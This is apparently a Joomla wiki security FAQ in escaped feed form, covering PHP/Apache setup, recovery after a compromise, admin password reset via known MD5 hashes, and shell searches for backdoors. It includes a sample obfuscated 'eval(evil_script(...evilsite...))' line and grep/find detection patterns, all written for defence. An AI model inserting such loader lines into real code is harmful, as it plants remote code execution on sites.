[http://forum.joomla.org/index.php/topic,136328.0.html Forum Discussion Here]&lt;br /&gt;
&lt;br /&gt;
[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]&lt;br /&gt;
&lt;br /&gt;
Another &amp;amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;amp;lt;/span&amp;gt;, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;b&amp;gt;&amp;amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm&amp;amp;lt;/span&amp;gt;&amp;amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;amp;lt;b&amp;gt;&amp;amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;amp;quot;How To...&amp;amp;amp;quot;&amp;amp;lt;/span&amp;gt;&amp;amp;lt;/b&amp;gt;&amp;amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;amp;lt;b&amp;gt;Running PHP as an Apache module&amp;amp;lt;/b&amp;gt;&amp;amp;lt;/span&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;amp;lt;i&amp;gt;&#039;parse&#039;&amp;amp;lt;/i&amp;gt; your PHP scripts, the httpd.conf needs to be modified, typically found in &amp;amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;amp;quot; or &amp;amp;amp;quot;/etc/httpd/conf/&amp;amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out &amp;amp;amp;quot;LoadModule&amp;amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;amp;quot;#&amp;amp;amp;quot; sign are regarded as having been commented out.) If PHP is running in &amp;amp;amp;quot;Apache Module&amp;amp;amp;quot; Mode you should see something very similar to the following;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;amp;quot;c:/php/php4apache.dll&amp;amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;b&amp;gt;&amp;amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;amp;lt;/span&amp;gt;&amp;amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;b&amp;gt;For PHP5&amp;amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;amp;lt;i&amp;gt;or (platform dependant)&amp;amp;lt;/i&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;b&amp;gt;For PHP4&amp;amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module libexec/libphp4.so&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;amp;lt;i&amp;gt;or (platform dependant)&amp;amp;lt;/i&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module C:/php/php4apache.dll&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;i&amp;gt;&amp;amp;lt;b&amp;gt;and&amp;amp;lt;/b&amp;gt;&amp;amp;lt;/i&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;amp;lt;i&amp;gt;or&amp;amp;lt;/i&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;amp;lt;b&amp;gt;&amp;amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;amp;lt;/span&amp;gt;&amp;amp;lt;/b&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;b&amp;gt;For PHP5&amp;amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;i&amp;gt;or (platform dependant)&amp;amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;b&amp;gt;For PHP4&amp;amp;lt;/b&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;amp;lt;i&amp;gt;or (platform dependant)&amp;amp;lt;/i&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;i&amp;gt;&amp;amp;lt;b&amp;gt;and&amp;amp;lt;/b&amp;gt;&amp;amp;lt;/i&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;i&amp;gt;or&amp;amp;lt;/i&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;b&amp;gt;Note:&amp;amp;lt;/b&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;amp;quot;mod_php4.c&amp;amp;amp;quot; or &amp;amp;amp;quot;mod_php5.c&amp;amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;amp;quot;AddType&amp;amp;amp;quot; section in the file, and add the following line after the last &amp;amp;amp;quot;AddType&amp;amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;amp;quot;.php3&amp;amp;amp;quot; and &amp;amp;amp;quot;.phtml&amp;amp;amp;quot;, simply add them to the list, like this:&amp;amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;amp;lt;/b&amp;gt;&amp;amp;lt;/span&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;amp;quot;HTTP 500&amp;amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;amp;quot;ScriptAlias&amp;amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;amp;quot;cgi-bin&amp;amp;amp;quot;. &amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;b&amp;gt;Note:&amp;amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;amp;quot;c:/php/&amp;amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;amp;quot;c:/Program Files/php/&amp;amp;amp;quot;).&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;amp;quot;c:/php/&amp;amp;amp;quot;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;amp;quot;AddType&amp;amp;amp;quot; section, and add the following line after it:&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the &amp;amp;amp;quot;Action&amp;amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Action application/x-httpd-php &amp;amp;amp;quot;/php/php.exe&amp;amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
If you notice, we have used the &amp;amp;amp;quot;ScriptAlias&amp;amp;amp;quot; reference, &amp;amp;amp;quot;/php/&amp;amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. &amp;amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;amp;quot;c:/php/php.exe&amp;amp;amp;quot; or &amp;amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;amp;quot; in that directive, put&lt;br /&gt;
&amp;amp;amp;quot;/php/php.exe&amp;amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;amp;lt;b&amp;gt;Configuring the Default Index Page&amp;amp;lt;/b&amp;gt;&amp;amp;lt;/span&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.&lt;br /&gt;
&lt;br /&gt;
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the &amp;amp;amp;quot;httpd.conf&amp;amp;amp;quot;. Simply search for the line in the file that begins with a &amp;amp;amp;quot;DirectoryIndex&amp;amp;amp;quot; and add &amp;amp;amp;quot;index.php&amp;amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;i&amp;gt;change it to&amp;amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html index.php&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;amp;lt;/i&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;amp;lt;i&amp;gt;or&amp;amp;lt;/i&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;amp;quot;auto-magically&amp;amp;amp;quot; deliver &amp;amp;amp;quot;index.php&amp;amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;amp;quot;index.html&amp;amp;amp;quot; if &amp;amp;amp;quot;index.php&amp;amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;amp;lt;&amp;amp;lt;&amp;amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;amp;lt;th&amp;gt;Original&amp;amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;amp;lt;th&amp;gt;URL Encoded&amp;amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;lt;td&amp;gt;this line has spaces&amp;amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Creating_clickable_background_images_using_CSS&amp;diff=62323</id>
		<title>Creating clickable background images using CSS</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Creating_clickable_background_images_using_CSS&amp;diff=62323"/>
		<updated>2011-09-26T18:47:36Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What this is about ==&lt;br /&gt;
&lt;br /&gt;
